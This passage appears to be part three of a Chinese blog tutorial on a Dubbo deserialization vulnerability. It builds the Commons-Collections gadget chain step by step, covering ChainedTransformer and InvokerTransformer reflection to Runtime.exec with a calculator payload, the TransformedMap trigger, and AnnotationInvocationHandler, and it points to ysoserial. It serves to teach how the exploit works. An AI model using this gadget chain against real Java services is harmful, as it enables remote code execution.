Dubbo 高危漏洞!原来都是反序列化惹得祸( 三 )

通过 ChainedTransformer 链式执行 ConstantTransformer,InvokerTransformer逻辑,最后我们成功的运行的 Runtime语句 。
不过上述的代码存在一些问题,Runtime没有继承 Serializable接口,我们无法将其进行序列化 。

Dubbo 高危漏洞!原来都是反序列化惹得祸

文章插图
 
如果对其进行序列化程序将会抛出异常:
Dubbo 高危漏洞!原来都是反序列化惹得祸

文章插图
 
image-20200705123341395
我们需要改造以上代码,使用 Runtime.class 经过一系列的反射执行:
String[] execArgs = new String[]{"open -a Calculator"};final Transformer[] transformers = new Transformer[]{        new ConstantTransformer(Runtime.class),        new InvokerTransformer(                "getMethod",                new Class[]{String.class, Class[].class},                new Object[]{"getRuntime", new Class[0]}        ),        new InvokerTransformer(                "invoke",                new Class[]{Object.class, Object[].class},                new Object[]{null, new Object[0]}        ),        new InvokerTransformer(                "exec",                new Class[]{String.class}, execArgs),};刚接触这块的同学的应该已经看晕了吧,没关系,我将上面的代码翻译一下正常的反射代码一下:
((Runtime) Runtime.class.        getMethod("getRuntime", null).        invoke(null, null)).        exec("open -a Calculator");TransformedMap接下来我们需要找到相关类,可以自动调用Transformer内部方法 。
Common-Collections内有两个类将会调用 Transformer:
  • TransformedMap
  • LazyMap
下面将会主要介绍 TransformedMap触发方式,LazyMap触发方式比较类似,感兴趣的同学可以研究这个开源库@ysoserial CommonsCollections1 。
Github 地址:https://github.com/frohoff/ysoserial
TransformedMap 可以用来对 Map 进行某种变换,底层原理实际上是使用传入的 Transformer 进行转换 。
Transformer transformer = new ConstantTransformer("程序通事");Map<String, String> testMap = new HashMap<>();testMap.put("a", "A");// 只对 value 进行转换Map decorate = TransformedMap.decorate(testMap, null, transformer);// put 方法将会触发调用 Transformer 内部方法decorate.put("b", "B");for (Object entry : decorate.entrySet()) {    Map.Entry temp = (Map.Entry) entry;    if (temp.getKey().equals("a")) {        // Map.Entry setValue 也会触发 Transformer 内部方法        temp.setValue("AAA");    }}System.out.println(decorate);输出结果为:
{b=程序通事, a=程序通事}AnnotationInvocationHandler上文中我们知道了,只要调用 TransformedMap的 put 方法,或者调用 Map.Entry的 setValue方法就可以触发我们设置的 ChainedTransformer,从而触发 Runtime 执行外部命令 。
现在我们就需要找到一个可序列化的类,这个类正好实现了 readObject,且正好可以调用 Map put 的方法或者调用 Map.Entry的 setValue 。
Java 中有一个类 sun.reflect.annotation.AnnotationInvocationHandler,正好满足上述的条件 。这个类构造函数可以设置一个 Map 变量,这下刚好可以把上面的 TransformedMap 设置进去 。


推荐阅读